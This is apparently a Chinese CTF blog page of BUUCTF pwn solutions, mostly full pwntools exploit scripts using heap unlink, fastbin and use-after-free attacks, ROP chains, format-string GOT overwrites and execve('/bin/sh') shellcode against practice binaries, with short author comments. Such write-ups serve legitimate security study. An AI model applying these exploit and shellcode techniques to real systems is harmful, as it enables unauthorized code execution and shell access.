第二页 [ZJCTF 2019]EasyHeap 这里有几个点,首先要用ret把栈的地址叠高,这样防止exp覆盖函数原来的数据
第二个就是
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 from pwn import *context(log_level='debug' ) p=remote('node5.buuoj.cn' ,27294 ) elf=ELF('./pwn' ) libc=ELF('./libc-2.23.so' ) free_got = elf.got['free' ] puts_got = elf.got['puts' ] puts_plt = elf.plt['puts' ]+0x16 system_plt = elf.plt['system' ] def add (size,content ): p.sendlineafter(b'Your choice :' ,str (1 )) p.sendlineafter(b'Size of Heap : ' ,str (size)) p.sendlineafter(b'Content of heap:' ,content) p.recvuntil(b'SuccessFul' ) def edit (idx,content ): p.sendlineafter(b'Your choice :' ,str (2 )) p.sendlineafter(b'Index :' ,str (idx)) p.sendlineafter(b'Size of Heap : ' ,str (len (content))) p.sendlineafter(b'Content of heap :' ,content) p.recvuntil(b'Done !' ) def delete (idx ): p.sendlineafter(b'Your choice :' ,str (3 )) p.sendlineafter(b'Index :' ,str (idx)) bss=0x6020E0 add(0x80 ,b'aaaa' ) add(0x80 ,b'bbbb' ) add(0x90 ,b'cccc' ) add(0x90 ,b'/bin/sh\x00' ) payload=p64(0 )+p64(0x81 )+p64(bss-0x18 )+p64(bss-0x10 )+b'M' *(0x80 -0x20 ) payload+=p64(0x80 )+p64(0x90 ) edit(0 ,payload) pause() delete(1 ) payload2=p64(0 )*3 payload2+=p64(free_got)+p64(puts_got) edit(0 ,payload2) payload1=p64(system_plt) edit(0 ,payload1) delete(3 ) ''' leak=u64(p.recvuntil('\x7f')[-6:]+b'\x00\x00') print(hex(leak)) libc_addr=leak-libc.sym['puts'] system=libc_addr+libc.sym['system'] payload=p64(system) edit(0,payload) delete(3) ''' p.interactive()
gyctf_2020_borrowstack 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 from pwn import *from LibcSearcher import *p=remote('node5.buuoj.cn' ,25450 ) elf=ELF('./pwn' ) context(log_level='debug' ) leave_ret=0x400699 pop_rdi=0x0000000000400703 bss=0x601080 ret=0x4004c9 libc=ELF('./libc-2.23.so' ) shell=0x4526a main = elf.sym["main" ] puts_plt= elf.plt["puts" ] puts_got = elf.got["puts" ] pause() payload=b'a' *0x60 +p64(bss)+p64(leave_ret) p.send(payload) payload2=p64(ret)*28 +p64(pop_rdi)+p64(puts_got)+p64(puts_plt)+p64(main) p.send(payload2) p.recvuntil(b'Done!You can check and use your borrow stack now!\n' ) leak_addr = u64(p.recv(6 )+b'\x00\x00' ) print (hex (leak_addr))libc_base=leak_addr-libc.sym['puts' ] shell+=libc_base payload2=b'a' *0x68 +p64(shell) p.sendline(payload2) p.interactive()
ciscn_2019_s_9 call esp
jmp esp都行
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 from pwn import *p=remote('node5.buuoj.cn' ,27684 ) context(arch = 'i386' ,os = 'linux' ,log_level = 'debug' ) shellcode=asm('''push 0x68 push 0x732f2f2f push 0x6e69622f mov ebx,esp xor edx,edx xor ecx,ecx push 0xB pop eax int 0x80''' )payload=shellcode payload=payload.ljust(0x24 ,b'\x00' ) payload+=p32(0x8048554 ) payload+=asm("sub esp,40;jmp esp" ) p.sendline(payload) p.interactive()
第三页 ciscn_2019_n_3 虽然是2.27版本的,但是漏洞利用与2.23一致,一个经典的uaf改写地址
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 from pwn import *context(log_level='debug' ) p=remote('node5.buuoj.cn' ,29247 ) elf = ELF("./pwn" ) def add (idx,size,value ): p.sendlineafter("CNote > " ,"1" ) p.sendlineafter("Index > " ,str (idx)) p.sendlineafter("Type > " ,b'2' ) p.sendlineafter("Length > " ,str (size)) p.sendlineafter("Value > " ,value) def delete (idx ): p.sendlineafter("CNote > " ,"2" ) p.sendlineafter("Index > " ,str (idx)) def show (idx ): p.sendlineafter("CNote > " ,"3" ) p.sendlineafter("Index > " ,str (idx)) system=0x8048500 add(1 ,0x40 ,b'aaaa' ) add(2 ,0x40 ,b'bbbb' ) delete(1 ) delete(2 ) payload=b'bash' +p32(system) add(3 ,0xc ,payload) delete(1 ) p.inetractive()
0ctf_2017_babyheap 详解见fastbin_attack | 鱼非愚 (yufeiyu33.github.io)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 from pwn import *context(log_level='debug' ) p=process('./babyheap' ) def debug (): gdb.attach(p) pause() def allo (size ): p.recvuntil(b'Command:' ) p.sendline(b'1' ) p.sendlineafter(b'Size:' ,str (size)) def fill (index,size,content ): p.recvuntil(b'Command:' ) p.sendline(b'2' ) p.sendlineafter(b'Index:' ,str (index)) p.sendlineafter(b'Size:' ,str (size)) p.sendafter(b'Content:' ,content) def free (index ): p.recvuntil(b'Command:' ) p.sendline(b'3' ) p.sendlineafter(b'Index:' ,str (index)) def dump (index ): p.recvuntil(b'Command:' ) p.sendline(b'4' ) p.sendlineafter(b'Index:' ,str (index)) p.recvuntil(b'Content:' ) def exit (): p.recvuntil(b'Command: \n' ) p.sendline(b'5' ) def unsorted_offset_arena (idx ): word_bytes = context.word_size / 8 offset = 4 offset += 4 offset += word_bytes * 10 offset += word_bytes * 2 offset += idx * 2 * word_bytes offset -= word_bytes * 2 return offset allo(0x10 ) allo(0x10 ) allo(0x10 ) allo(0x10 ) allo(0x80 ) allo(0x70 ) debug() free(2 ) free(1 ) payload=p64(0 )*3 +p64(0x21 )+p8(0x80 ) pause() fill(0 ,len (payload),payload) payload1=b'a' *0x10 +p64(0 )+p64(0x21 ) pause() fill(3 ,len (payload1),payload1) allo(0x10 ) allo(0x10 ) payload1=b'a' *0x10 +p64(0 )+p64(0x91 ) pause() fill(3 ,len (payload1),payload1) free(4 ) dump(2 ) pause() leak_addr = u64(p.recvuntil(b'\x7f' )[-6 :].ljust(8 , b'\x00' )) print (hex ((leak_addr)))unsorted_offset_addr=unsorted_offset_arena(5 ) print (hex (int (unsorted_offset_addr)))libc_base=leak_addr-unsorted_offset_addr-0x3c4b20 print (hex (int (libc_base)))pause() allo(0x60 ) free(4 ) print (hex (int (libc_base+0x3c4aed )))payload=p64(int (libc_base+0x3c4aed )) fill(2 ,len (payload),payload) allo(0x60 ) allo(0x60 ) pause() gadgets=int (libc_base+0x4526a ) payload =b'a' *0x13 + p64(gadgets) fill(6 , len (payload), payload) allo(255 ) p.interactive()
babyfengshui_33c3_2016 这题的关键是看懂题目的漏洞点,我反正开始没看出来
这个代码的意思是我们申请的chunk的地址加上输入的长度是否长于函数接下的chunk的地址(add一个函数时会生成两个chunk)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 from pwn import *context.log_level='debug' p=remote('node5.buuoj.cn' ,28502 ) elf=ELF('./pwn' ) libc=ELF('./libc-2.23.so' ) free_got=elf.got['free' ] def add (size,name,length,text ): p.recvuntil("Action: " ) p.sendline("0" ) p.sendlineafter("size of description: " ,str (size)) p.sendlineafter("name: " ,name) p.recvuntil("text length:" ) p.sendline(str (length)) p.recvuntil("text:" ) p.sendline(text) def delete (index ): p.recvuntil("Action: " ) p.sendline("1" ) p.recvuntil("index: " ) p.sendline(str (index)) def show (index ): p.recvuntil("Action: " ) p.sendline("2" ) p.recvuntil("index: " ) p.sendline(str (index)) def update (index,length,text ): p.recvuntil("Action: " ) p.sendline("3" ) p.recvuntil("index: " ) p.sendline(str (index)) p.recvuntil("text length: " ) p.sendline(str (length)) p.recvuntil("text: " ) p.sendline(text) def debug (): gdb.attach(p) pause() add(0x80 ,"nam1" ,0x80 ,"aaaa" ) add(0x80 ,"nam2" ,0x80 ,"bbbb" ) add(0x80 ,"nam3" ,0x80 ,"/bin/sh\x00" ) delete(0 ) add(0x100 ,'nam1' ,0x100 ,"cccc" ) payload=b'a' *0x108 +b'a' *0x8 +b'a' *0x80 +b'a' *0x8 +p32(free_got) update(3 ,0x200 ,payload) show(1 ) p.recvuntil("description: " ) free_addr=u32(p.recv(4 )) libc_base=free_addr-libc.sym["free" ] system_addr=libc_base+libc.sym["system" ] update(1 ,0x80 ,p32(system_addr)) delete(2 ) p.interactive()
hitcon2014_stkof pwn堆—unlink | 鱼非愚 (yufeiyu33.github.io)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 from pwn import * context(arch = 'amd64',os = 'linux',log_level = 'debug') p=process('./pwn') #p=remote('node5.buuoj.cn',27761) elf=ELF('./pwn') atoi_got = elf.got['atoi'] libc=ELF('./libc-2.23.so') free_got = elf.got['free'] puts_got = elf.got['puts'] puts_plt = elf.plt['puts'] #bss=0x6021C0 bss=0x602140 def add(size): p.sendline(str(1)) p.sendline(str(size)) p.recvuntil(b'OK') def edit(num,content): p.sendline(str(2)) p.sendline(str(num)) p.sendline(str(len(content))) p.sendline(content) p.recvuntil(b'OK') def delete(num): p.sendline(str(3)) p.sendline(str(num)) #p.recvuntil(b'OK') #gdb.attach(p) add(0x30) add(0x80) add(0x80) add(0x30) payload=p64(0)+p64(0x80)+p64(bss-0x18)+p64(bss-0x10)+b'a'*(0x80-0x20) payload+=p64(0x80)+p64(0x90) gdb.attach(p) pause() edit(2,payload) delete(3) payload2=b'c'*0x10 payload2+=p64(free_got)+p64(puts_got) #payload2+=p64(free_got)+b'\x7f'+b'd'*5 edit(2,payload2) payload1=p64(puts_plt) edit(1,payload1) delete(2) leak=u64(p.recvuntil('\x7f')[-6:]+b'\x00\x00') print(hex(leak)) libc_addr=leak-libc.sym['puts'] system=libc_addr+libc.sym['system'] payload=p64(system) edit(1,payload) edit(4,'/bin/sh\x00') delete(4) p.interactive()
mrctf2020_shellcode_revenge 要求可见字符串的shellcode,第一次看到
1 2 3 4 5 6 7 8 9 10 11 12 13 from pwn import *context(arch = 'amd64' ,os = 'linux' ,log_level = 'debug' ) p=remote('node5.buuoj.cn' ,25572 ) ''' shellcode=asm(shellcraft.sh()) print(shellcode) ''' p.send(b'Ph0666TY1131Xh333311k13XjiV11Hc1ZXYf1TqIHf9kDqW02DqX0D1Hu3M2G0Z2o4H0u0P160Z0g7O0Z0C100y5O3G020B2n060N4q0n2t0B0001010H3S2y0Y0O0n0z01340d2F4y8P115l1n0J0h0a070t' ) p.interactive()
jarvisoj_level5 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 from pwn import *from LibcSearcher import *context(log_level='debug' ) p=remote('node5.buuoj.cn' ,26473 ) elf=ELF('level3_x64' ) rdi=0x4006b3 rsi_r15=0x4006b1 ret=0x400499 write_plt=elf.plt['write' ] write_got=elf.got['write' ] main=0x40061a p.recvuntil(b'Input:\n' ) payload=b'a' *0x88 +p64(rdi)+p64(0 )+p64(rsi_r15)+p64(write_got)+p64(8 )+p64(write_plt)+p64(main) p.sendline(payload) libc_leak=u64(p.recv(8 )) print (hex (libc_leak))libc = LibcSearcher("write" ,libc_leak) libc_base=libc_leak-libc.dump('write' ) system_addr=libc_base+libc.dump('system' ) bin_sh_addr=libc_base+libc.dump('str_bin_sh' ) payload=b'a' *0x88 +p64(rdi)+p64(bin_sh_addr)+p64(system_addr) p.sendline(payload) p.interactive()
pwnable_hacknote 基本uaf
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 from pwn import *from LibcSearcher import *context(arch='i386' ,os='linux' ,log_level='debug' ) myelf = ELF("./pwn" ) libc = ELF("./libc.so.6" ) io = remote('node5.buuoj.cn' ,25639 ) put_got=myelf.got['puts' ] def add (size,content ): io.recvuntil("choice :" ) io.sendline("1" ) io.recvuntil("size :" ) io.sendline(str (size)) io.recvuntil("Content :" ) io.sendline(content) def delete (num ): io.recvuntil("choice :" ) io.sendline("2" ) io.recvuntil("Index :" ) io.sendline(str (num)) def show (num ): io.recvuntil("choice :" ) io.sendline("3" ) io.recvuntil("Index :" ) io.sendline(str (num)) pause() add(64 ,"" ) add(32 ,"" ) delete(0 ) add(64 ,"" ) pause() pause() show(2 ) libc_base = u32(io.recv(8 )[4 :8 ])-0x1b07b0 system_addr = libc_base + libc.symbols['system' ] delete(0 ) delete(1 ) add(8 ,p32(system_addr)+b";sh\x00" ) show(0 ) io.interactive()
mrctf2020_easy_equation 之前遇到这种格式化字符串把某个地址改成指定的值都是直接fmtstr_payload直接生成的,不过这题不行了,看来还是得自己写
解出来方程是2
1 2 3 4 5 6 7 8 9 10 11 12 13 14 from pwn import *context(arch = 'amd64' ,os = 'linux' ,log_level = 'debug' ) p=remote('node5.buuoj.cn' ,29917 ) pause() payload = b"aa%9$nAAA" +p64(0x60105c ) p.sendline(payload) p.interactive()
ciscn_2019_es_7 这个和之前有个题一样
picoctf_2018_got_shell 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 from pwn import *p=remote('node5.buuoj.cn' ,26671 ) elf=ELF('./pwn' ) puts_got=elf.got['puts' ] p.recvuntil('value?' ) p.sendline(hex (puts_got)) payload=hex (0x804854b ) p.sendline(payload) p.interactive()
cmcc_pwnme2 这题的偏移搞了挺久,当时一看这个不就是一个retlibc吗,然后自信写板子,结果一直卡在一个地方,结果发现是gets下面那个函数的ret是会ret到前一个gets ebp在栈上面的位置,最后调试发现位置是0x6c
附上exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 from pwn import *from LibcSearcher import *p=remote('node5.buuoj.cn' ,25747 ) elf=ELF('./pwn' ) puts_plt=elf.plt["puts" ] puts_got=elf.got["puts" ] offset=0x6c main_addr=0x080486f8 payload=b'a' *(offset+4 )+p32(puts_plt)+p32(main_addr)+p32(puts_got) p.sendline(payload) p.recvuntil(b'input:\n' ) p.recvuntil(b'\x0a' ) leak_addr=u32(p.recv(4 )) print (hex (leak_addr))libc=ELF('./libc-2.23.so' ) libc_base=leak_addr-libc.sym['puts' ] bin_sh_addr=libc_base+next (libc.search(b'/bin/sh' )) system_addr=libc_base+libc.sym['system' ] payload2=b'a' *offset+b'a' *4 +p32(system_addr)+p32(main_addr)+p32(bin_sh_addr) p.sendline(payload2) p.interactive()
wdb_2018_2nd_easyfmt 找不到远程的libc版本,算了,本地打自己的libc是通的
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 from pwn import *context(arch = 'i386' ,os = 'linux' ,log_level = 'debug' ) p=remote('node5.buuoj.cn' ,25868 ) elf=ELF('./pwn' ) libc=ELF('/home/yfy/tools/glibc-all-in-one/libs/2.23-0ubuntu11.3_i386/libc-2.23.so' ) printf_got = elf.got['printf' ] p.recvuntil('Do you know repeater?\n' ) payload=b'%39$p' p.sendline(payload) p.recvuntil(b'0x' ) libc_base=int (p.recv(8 ),16 )-0x18647 log.success(f"leak={hex (libc_base)} " ) log.success(f"libc_base={hex (libc_base)} " ) system=libc_base+libc.sym['system' ] printf=libc_base+libc.sym['printf' ] payload2=(fmtstr_payload(6 , {printf_got:system})) p.sendline(payload2) p.sendline(b'/bin/sh\x00' ) p.interactive()
roarctf_2019_easy_pwn 通过off-by-one造成堆重叠,从而泄露libc和改写realloc为one_gadget,注意这题还要把molloc改写为realloc达成一些one_gadget的条件
buu的题,本地用的libc可以打通,远程会超时,大概是libc不对,懒得找了
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 from pwn import *context(arch = 'amd64' ,os = 'linux' ,log_level = 'debug' ) p=process('./pwn' ) libc=ELF('/home/yfy/tools/glibc-all-in-one/libs/2.23-0ubuntu3_amd64/libc.so.6' ) elf=ELF('./pwn' ) def add (size ): p.sendlineafter(b"choice:" ,b'1' ) p.sendlineafter(b'size:' ,str (size)) def edit (idx,size,content ): p.sendlineafter(b"choice:" ,b'2' ) p.sendlineafter(b'index:' ,str (idx)) p.sendlineafter(b'size:' ,str (size)) p.sendlineafter(b'content:' ,content) def free (idx ): p.sendlineafter(b"choice:" ,b'3' ) p.sendlineafter(b'index:' ,str (idx)) def show (idx ): p.sendlineafter(b"choice:" ,b'4' ) p.sendlineafter(b'index:' ,str (idx)) def debug (): gdb.attach(p) pause() add(0x18 ) add(0x10 ) add(0x90 ) add(0x10 ) payload=b'\x00' *0x18 +p8(0xc1 ) edit(0 ,0x18 +10 ,payload) free(1 ) add(0x10 ) show(2 ) p.recvuntil('content: ' ) leak=u64(p.recv(6 ).ljust(8 ,b'\x00' )) log.success(f"leak>>>{hex (leak)} " ) libc_base=leak-0x3c3b78 log.success(f"libc_base>>>{hex (libc_base)} " ) one_gadget=libc_base+0x4525a realloc=libc_base+libc.sym['realloc' ] fake_addr=libc_base+0x3c3aed fake=p64(fake_addr) log.success(f"fake>>>{hex (fake_addr)} " ) add(0x60 ) free(4 ) edit(2 ,len (fake),fake) add(0x60 ) add(0x60 ) payload=b'b' *0xb +p64(one_gadget)+p64(realloc) edit(5 ,len (payload),payload) add(0x10 ) p.interactive()
npuctf_2020_easyheap 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 from pwn import *p = remote("node5.buuoj.cn" ,29440 ) context.log_level = 'debug' elf = ELF("./pwn" ) libc = ELF("./libc-2.27.so" ) atoi_got = elf.got['atoi' ] free_got = elf.got['free' ] def cmd (choice ): p.recvuntil("Your choice :" ) p.sendline(str (choice)) def create (size,content ): cmd(1 ) p.recvuntil("only) :" ) p.sendline(str (size)) p.recvuntil("Content:" ) p.sendline(content) def edit (idx,content ): cmd(2 ) p.recvuntil("Index :" ) p.sendline(str (idx)) p.recvuntil("Content:" ) p.sendline(content) def show (idx ): cmd(3 ) p.recvuntil("Index :" ) p.sendline(str (idx)) def delete (idx ): cmd(4 ) p.recvuntil("Index :" ) p.sendline(str (idx)) create(0x18 ,"aaaa" ) create(0x18 ,"aaaa" ) payload =b'/bin/sh\x00' payload += p64(0 ) * 2 payload += p64(0x41 ) edit(0 ,payload) delete(1 ) pause() payload =b'a' * 0x20 + p64(0x38 ) + p64(free_got) create(0x38 ,payload) show(1 ) free_addr = u64(p.recvuntil("\x7f" )[-6 :]+b'\x00' *2 ) log.success(hex (free_addr)) libc_base = free_addr - libc.sym['free' ] system = libc_base + libc.sym['system' ] log.success(hex (libc_base)) log.success(hex (system)) edit(1 ,p64(system)) delete(0 ) p.interactive()
picoctf_2018_can_you_gets_me ROPgadget一把梭
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 from pwn import *from struct import packio=remote('node5.buuoj.cn' ,26587 ) p = b'a' *(0x18 +4 ) p += pack('<I' , 0x0806f02a ) p += pack('<I' , 0x080ea060 ) p += pack('<I' , 0x080b81c6 ) p += b'/bin' p += pack('<I' , 0x080549db ) p += pack('<I' , 0x0806f02a ) p += pack('<I' , 0x080ea064 ) p += pack('<I' , 0x080b81c6 ) p += b'//sh' p += pack('<I' , 0x080549db ) p += pack('<I' , 0x0806f02a ) p += pack('<I' , 0x080ea068 ) p += pack('<I' , 0x08049303 ) p += pack('<I' , 0x080549db ) p += pack('<I' , 0x080481c9 ) p += pack('<I' , 0x080ea060 ) p += pack('<I' , 0x080de955 ) p += pack('<I' , 0x080ea068 ) p += pack('<I' , 0x0806f02a ) p += pack('<I' , 0x080ea068 ) p += pack('<I' , 0x08049303 ) p += pack('<I' , 0x0807a86f ) p += pack('<I' , 0x0807a86f ) p += pack('<I' , 0x0807a86f ) p += pack('<I' , 0x0807a86f ) p += pack('<I' , 0x0807a86f ) p += pack('<I' , 0x0807a86f ) p += pack('<I' , 0x0807a86f ) p += pack('<I' , 0x0807a86f ) p += pack('<I' , 0x0807a86f ) p += pack('<I' , 0x0807a86f ) p += pack('<I' , 0x0807a86f ) p += pack('<I' , 0x0806cc25 ) io.sendline(p) io.interactive()
hitcontraining_bamboobox lambda函数我用不来。。。
buu的超时一如既往,没找到libc,算了,反正本地链接的可以打通
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 from pwn import *from struct import packs = lambda data : p.send(data) sa = lambda text,data :p.sendafter(text, data) sl = lambda data :p.sendline(data) sla = lambda text,data :p.sendlineafter(text, data) rl = lambda text :p.recvuntil(text) pr = lambda num=4096 :print (p.recv(num)) inter = lambda :p.interactive() l32 = lambda :u32(p.recvuntil(b'\xf7' )[-4 :].ljust(4 ,b'\x00' )) l64 = lambda :u64(p.recvuntil(b'\x7f' )[-6 :].ljust(8 ,b'\x00' )) uu32 = lambda :u32(p.recv(4 ).ljust(4 ,b'\x00' )) uu64 = lambda :u64(p.recv(6 ).ljust(8 ,b'\x00' )) int16 = lambda data :int (data,16 ) lg= lambda s, num :p.success('%s -> 0x%x' % (s, num)) p=remote('node5.buuoj.cn' ,28871 ) context(arch = 'amd64' ,os = 'linux' ,log_level = 'debug' ) elf=ELF('./pwn' ) libc=ELF('/home/yfy/tools/glibc-all-in-one/libs/2.23-0ubuntu3_amd64/libc.so.6' ) libc=ELF() puts_got=elf.got['puts' ] def add (size,content ): sla(b'Your choice:' ,b'2' ) sla(b'length of item name:' ,str (size)) sla(b'the name of item:' ,content) def edit (idx,size,content ): sla(b'Your choice:' ,b'3' ) sla(b'index of item' ,str (idx)) sla(b'length of item name:' ,str (size)) sa(b'name of the item:' ,content) def show (): sla(b'Your choice:' ,b'1' ) def delete (idx ): sla(b'Your choice:' ,b'4' ) sla(b'Please enter the index of item:' ,str (idx)) def debug (): gdb.attach(p) pause() add(0x80 ,b'bbbbbb' ) add(0x80 ,b'cccccc' ) add(0x10 ,b'dddddd' ) ptr=0x6020c8 fd=ptr-0x18 bk=ptr-0x10 fake=p64(0 )+p64(0x81 )+p64(fd)+p64(bk)+b'\x00' *0x60 +p64(0x80 )+p64(0x90 ) edit(0 ,len (fake),fake) delete(1 ) show() rl(b'0 : ' ) leak=u64(p.recv(6 ).ljust(8 ,b'\x00' )) log.success(f"leak>>>{hex (leak)} " ) libc_base=leak-0x3c38e0 system=libc_base+libc.sym['system' ] log.success(f'system>>>{hex (system)} ' ) payload=p64(0 )*2 +p64(0x80 )+p64(elf.got["atoi" ]) edit(0 ,len (payload),payload) edit(0 ,8 ,p64(system)) sla(b'Your choice:' ,'/bin/sh\x00' ) p.interactive()
x_ctf_b0verfl0w 给了jmp esp,剩下的自己写就好了
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 from pwn import *context(arch = 'i386' ,os = 'linux' ,log_level = 'debug' ) p=process('./pwn' ) gdb.attach(p) pause() shellcode=asm( ''' xor ecx,ecx xor edx,edx xor ebx,ebx push ebx push 0x68732f2f push 0x6e69622f mov ebx,esp xor eax,eax push 11 pop eax int 0x80 ''' ) shellcode=shellcode.ljust(0x24 ,b'\x00' ) jmp=asm( ''' sub esp,0x28 jmp esp ''' ) hint=0x080484fd payload=shellcode+p32(0x08048504 )+jmp p.sendline(payload) p.interactive()
suctf_2018_basic pwn 后门送脸,好耶好耶
1 2 3 4 5 6 7 8 9 10 11 from pwn import *p=remote('node5.buuoj.cn' ,29685 ) payload=b'a' *280 +p64(0x401157 ) p.sendline(payload) p.interactive()
inndy_echo 改个got表
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 from pwn import *context(arch = 'i386' ,os = 'linux' ,log_level = 'debug' ) p=remote('node5.buuoj.cn' ,25336 ) elf=ELF('./pwn' ) system=0x8048400 printf=elf.got['printf' ] payload=(fmtstr_payload(7 , {printf:system})) p.sendline(payload) sleep(0.2 ) p.sendline(b'/bin/sh\x00' ) p.interactive()
actf_2019_babystack 栈迁移加上ret2libc,注意栈的位置,后一个溢出的地址要改变,调试得出
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 from pwn import *context(arch = 'amd64' ,os = 'linux' ,log_level = 'debug' ) p=remote('node5.buuoj.cn' ,28861 ) elf=ELF('./pwn' ) libc=ELF('./libc-2.27.so' ) puts_got=elf.got['puts' ] puts_plt=elf.plt['puts' ] ret=0x0000000000400709 pop_rdi=0x400ad3 leave_ret=0x400a18 main=0x4008f6 p.sendlineafter(b"Welcome to ACTF's babystack!" ,b'224' ) p.recvuntil(b'0x' ) leak=int ((p.recv(12 )),16 ) log.success(f'leak>>>{hex (leak)} ' ) payload=p64(pop_rdi)+p64(puts_got)+p64(puts_plt)+p64(ret)+p64(main) payload1=payload.ljust(0xd0 ,b'\x00' )+p64(leak-8 )+p64(leave_ret) p.recvuntil('>' ) p.send(payload1) p.recvuntil(b'Byebye~\x0a' ) leak2=u64(p.recv(6 ).ljust(8 ,b'\x00' )) log.success(f'puts>>>{hex (leak2)} ' ) libc_base=leak2-libc.sym['puts' ] log.success(f'libc>>>{hex (libc_base)} ' ) bin_sh_addr=libc_base+next (libc.search(b'/bin/sh' )) system_addr=libc_base+libc.sym['system' ] p.sendlineafter(b"How many bytes of your message?" ,b'224' ) log.success(f'leak>>>{hex (leak)} ' ) payload=p64(pop_rdi)+p64(bin_sh_addr)+p64(ret)*2 +p64(system_addr) payload1=payload.ljust(0xd0 ,b'\x00' )+p64(leak-8 -0xB0 )+p64(leave_ret) p.recvuntil('>' ) p.sendafter(b'What is the content of your message?' ,payload1) p.interactive()
picoctf_2018_leak_me 直接输入256个字符,密码直接出来了,输入就好了,不会变
wustctf2020_easyfast 后门都给出来了,直接改0x602090的值为0即可,注意不是数字0,是\x00
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 from pwn import *context(arch = 'amd64' ,os = 'linux' ,log_level = 'debug' ) s = lambda data : p.send(data) sa = lambda text,data :p.sendafter(text, data) sl = lambda data :p.sendline(data) sla = lambda text,data :p.sendlineafter(text, data) rl = lambda text :p.recvuntil(text) pr = lambda num=4096 :print (p.recv(num)) inter = lambda :p.interactive() l32 = lambda :u32(p.recvuntil(b'\xf7' )[-4 :].ljust(4 ,b'\x00' )) l64 = lambda :u64(p.recvuntil(b'\x7f' )[-6 :].ljust(8 ,b'\x00' )) uu32 = lambda :u32(p.recv(4 ).ljust(4 ,b'\x00' )) uu64 = lambda :u64(p.recv(6 ).ljust(8 ,b'\x00' )) int16 = lambda data :int (data,16 ) lg = lambda s, num: log.success(f"{s} >>> {hex (num)} " ) p=remote('node5.buuoj.cn' ,29944 ) def add (size ): sla(b'choice>' ,b'1' ) sla(b'size>' ,str (size)) def free (idx ): sla(b'choice>' ,b'2' ) sla(b'index>' ,str (idx)) def edit (idx,content ): sla(b'choice>' ,b'3' ) sla(b'index>' ,str (idx)) sl(content) def edit2 (idx,content ): sla(b'choice>' ,b'3' ) sla(b'index>' ,str (idx)) s(content) def debug (): gdb.attach(p) pause() buf=0x602090 add(0x40 ) free(0 ) edit(0 ,p64(buf-0x10 )) add(0x40 ) add(0x40 ) edit2(2 ,b'\x00' *8 ) sla(b'choice>' ,b'4' ) p.interactive()
actf_2019_babyheap 这题写的气死我了,开始没看到system /bin/sh\x00全给了,疯狂在想着怎么去泄露libc,因为UAF,想着unsortedbin,结果怎么申请都是tcache_bin 申请多了会直接退出,申请大于0x400会直接失效
结果网上一看wp,吐了
